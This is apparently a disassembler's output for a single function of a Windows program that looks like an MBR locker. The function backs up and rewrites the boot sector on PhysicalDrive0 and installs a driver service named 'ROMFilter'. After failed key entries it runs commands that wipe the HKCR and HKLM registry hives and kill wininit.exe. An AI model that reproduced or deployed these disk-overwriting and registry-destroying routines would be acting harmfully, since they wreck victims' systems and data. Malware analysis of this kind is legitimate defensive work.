Function at 0x1400016b0
Capabilities:
Create service
Execute command
Read file on windows
Start service
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x850]
sub rsp, 0x950
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x840], rax
xor edi, edi
mov dword [rsp + 0x70], edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [rdi + 3]
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001779
lea rdx, [0x140006658]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003b40
mov rcx, rax
lea rdx, [0x140003b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov rcx, qword [rbp + 0x840]
xor rcx, rsp
call fcn.140004420
lea r11, [rsp + 0x950]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x220]
mov r8d, 0x200
lea rdx, [rbp + 0x440]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400017d0
lea rdx, [0x140006670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003b40
mov rcx, rax
lea rdx, [0x140003b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001744
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140000000]
lea rax, [rax + 0x6998]
mov qword [rbp - 0x60], rax
lea rcx, [rbp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov r14d, 1
mov dword [rsp + 0x70], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x58]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x58], rax
mov byte [rbp + 0x24], 0
mov byte [rbp + 0x19], 0
lea rcx, [rbp - 0x58]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x28], rdi
mov rax, qword [0x14000a9d8]
mov qword [rbp + 0x1c], rax
mov qword [rbp + 0x10], rdi
lea r8d, [r14 + 0x21]
lea rcx, [rbp - 0x58]
call fcn.1400034f0
test rax, rax
jne 0x1400018b6
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r14 + 1]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x60]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400018e7
lea rdx, [0x140006690]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003b40
jmp 0x140001a01
mov r8d, 0x200
lea rdx, [rbp + 0x440]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x60]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x14000192f
lea rdx, [0x1400066a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003b40
jmp 0x140001a01
lea rcx, [rbp - 0x58]
call fcn.140003430
test rax, rax
jne 0x140001959
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov r8d, 0x104
lea rdx, [rbp + 0x230]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, 0x5c
lea rcx, [rbp + 0x230]
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rcx, rax
test rax, rax
jne 0x14000199d
lea rdx, [0x1400066c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003b40
jmp 0x140001a01
movups xmm0, xmmword [str.ROMFilter.sys]
movups xmmword [rax + 2], xmm0
movsd xmm0, qword [0x1400066e0]
movsd qword [rax + 0x12], xmm0
mov eax, dword [0x1400066e8]
mov dword [rcx + 0x1a], eax
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
mov qword [rsp + 0x70], rax
test rax, rax
jne 0x140001a16
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.___ERROR
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003b40
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400022d0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
lea rax, [rbp + 0x230]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], r14d
mov r9d, 0xf01ff
lea r8, str.ROMFilter
lea rdx, str.ROMFilter
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov qword [rbp + 0x1c0], rax
test rax, rax
jne 0x140001ade
mov r8d, 0xf01ff
lea rdx, str.ROMFilter
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbp + 0x1c0], rax
test rax, rax
jne 0x140001ade
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, [0x140006718]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003b40
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1400022d0
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x140001b2b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, [0x140006738]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003b40
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001f2b
lea rdx, str.__Success_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003b40
mov rcx, rax
lea rdx, [0x140003b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140006760]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003b40
mov rcx, rax
lea rdx, [0x140003b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140006778]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003b40
mov rcx, rax
lea rdx, [0x140003b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1400067a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003b40
mov rcx, rax
lea rdx, [0x140003b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r13d, 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], 0xf
mov byte [rbp + 0x1e0], 0
movups xmmword [rbp + 0x1c8], xmm0
movdqa xmm1, xmmword [0x1400069d0]
movdqu xmmword [rsp + 0x78], xmm1
mov dword [rbp - 0x78], 0x79
mov dword [rbp - 0x74], 0x89
mov dword [rbp - 0x70], 0xc6
lea ecx, [r13 + 0x19]
call fcn.140004440
mov qword [rbp + 0x1c8], rax
lea rbx, [rax + 0x1c]
mov qword [rbp + 0x1d8], rbx
lea r8d, [r13 + 0x19]
lea rdx, [rsp + 0x78]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x1d0], rbx
lea rdx, [0x1400067b8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003b40
mov rcx, rax
lea rdx, [0x140003b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r8, [rbp + 0x1c8]
lea rcx, [rbp + 0x200]
call fcn.140001290
nop
lea rdx, [0x1400067c8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003b40
nop word [rax + rax]
lea rdx, [rbp + 0x1e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140003d10
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rdi
lea rsi, [rbp + 0x1e0]
mov r15, qword [rbp + 0x1e0]
mov r12, qword [rbp + 0x1f8]
cmp r12, 0xf
cmova rsi, r15
mov rdi, qword [rbp + 0x1f0]
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x1400022e7
cmp rdi, 0xf
ja 0x140001d09
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], 0xf
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x78], xmm0
jmp 0x140001d9b
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x140001d28
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140001d4f
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001d71
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400022e1
mov rcx, rax
call fcn.140004440
mov rcx, rax
test rax, rax
je 0x140001df1
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001d7f
test rcx, rcx
je 0x140001d7d
call fcn.140004440
jmp 0x140001d7f
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x1c8]
lea rcx, [rsp + 0x78]
call fcn.140001440
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
jne 0x140001f4b
dec r13d
lea rdx, [0x140006838]
call fcn.140003b40
mov rcx, rax
mov edx, r13d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140006828]
call fcn.140003b40
test r13d, r13d
jle 0x140001df8
xor edi, edi
jmp 0x140001c90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, [0x140006858]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003b40
mov rcx, rax
lea rdx, [0x140003b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.reg_delete_HKEY_CLASSES_ROOT__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKEY_LOCAL_MACHINE__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_wininit.exe__t__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x140001e87
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e82
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000447c
movdqa xmm0, xmmword [0x1400069c0]
movdqu xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x200], 0
mov rcx, qword [rbp + 0x1c8]
test rcx, rcx
je 0x140001eee
mov rax, qword [rbp + 0x1d8]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ee8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ee8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000447c
nop
cmp r12, 0xf
jbe 0x140001f29
lea rdx, [r12 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001f21
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f21
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.14000447c
xor edi, edi
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r14d, edi
jmp 0x1400022d0
lea rdx, [0x1400067d8]
call fcn.140003b40
mov rcx, rax
lea rdx, [0x140003b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edi, edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [rdi + 3]
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001fc4
lea rdx, [0x140006658]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003b40
mov rcx, rax
lea rdx, [0x140003b00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400021e9
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xb0]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140000000]
lea rax, [rax + 0x69a0]
mov qword [rbp + 0xb0], rax
lea rcx, [rbp + 0x160]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x70], 3
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0xc0], rax
mov byte [rbp + 0x13c], 0
mov byte [rbp + 0x131], 0
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x140], rdi
mov rax, qword [0x14000a9d8]
mov qword [rbp + 0x134], rax
mov qword [rbp + 0x128], rdi
mov r8d, 0x21
lea rcx, [rbp + 0xc0]
call fcn.1400034f0
test rax, rax
jne 0x1400020dc
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xb0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xb0]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x140002107
lea rdx, [0x1400067e8]
jmp 0x1400021a9
mov r8d, 0x200
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xb0]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x140002149
lea rdx, [0x140006800]
jmp 0x1400021a9
lea rcx, [rbp + 0xc0]
call fcn.140003430
test rax, rax
jne 0x14000217c
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xb0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x1c0]
mov r8d, 0x200
lea rdx, [rbp + 0x640]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400021d0
lea rdx, [0x140006818]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003b40
lea rdx, [0x140003b00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400021dc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14d, edi
lea rcx, [rbp + 0xb0]
call fcn.1400023b0
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x14000222d
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002228
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002228
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000447c
movdqa xmm0, xmmword [0x1400069c0]
movdqu xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x200], 0
mov rcx, qword [rbp + 0x1c8]
test rcx, rcx
je 0x140002294
mov rax, qword [rbp + 0x1d8]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000228e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000228e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000447c
nop
cmp r12, 0xf
jbe 0x1400022d0
lea rdx, [r12 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400022c7
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.14000447c
nop
lea rcx, [rbp - 0x60]
call fcn.1400022f0
mov eax, r14d
jmp 0x140001749
call fcn.140001110
int3
call fcn.1400011b0
int3